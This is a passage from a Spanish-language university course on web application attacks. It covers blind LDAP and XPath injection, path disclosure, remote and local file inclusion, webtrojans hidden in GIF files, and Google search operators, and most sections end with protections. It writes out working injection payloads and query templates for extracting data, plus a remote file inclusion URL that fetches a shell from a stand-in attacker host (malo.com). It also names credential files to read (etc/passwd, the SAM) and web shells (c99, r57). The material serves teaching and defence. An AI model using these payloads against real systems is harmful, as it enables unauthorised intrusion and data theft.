Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

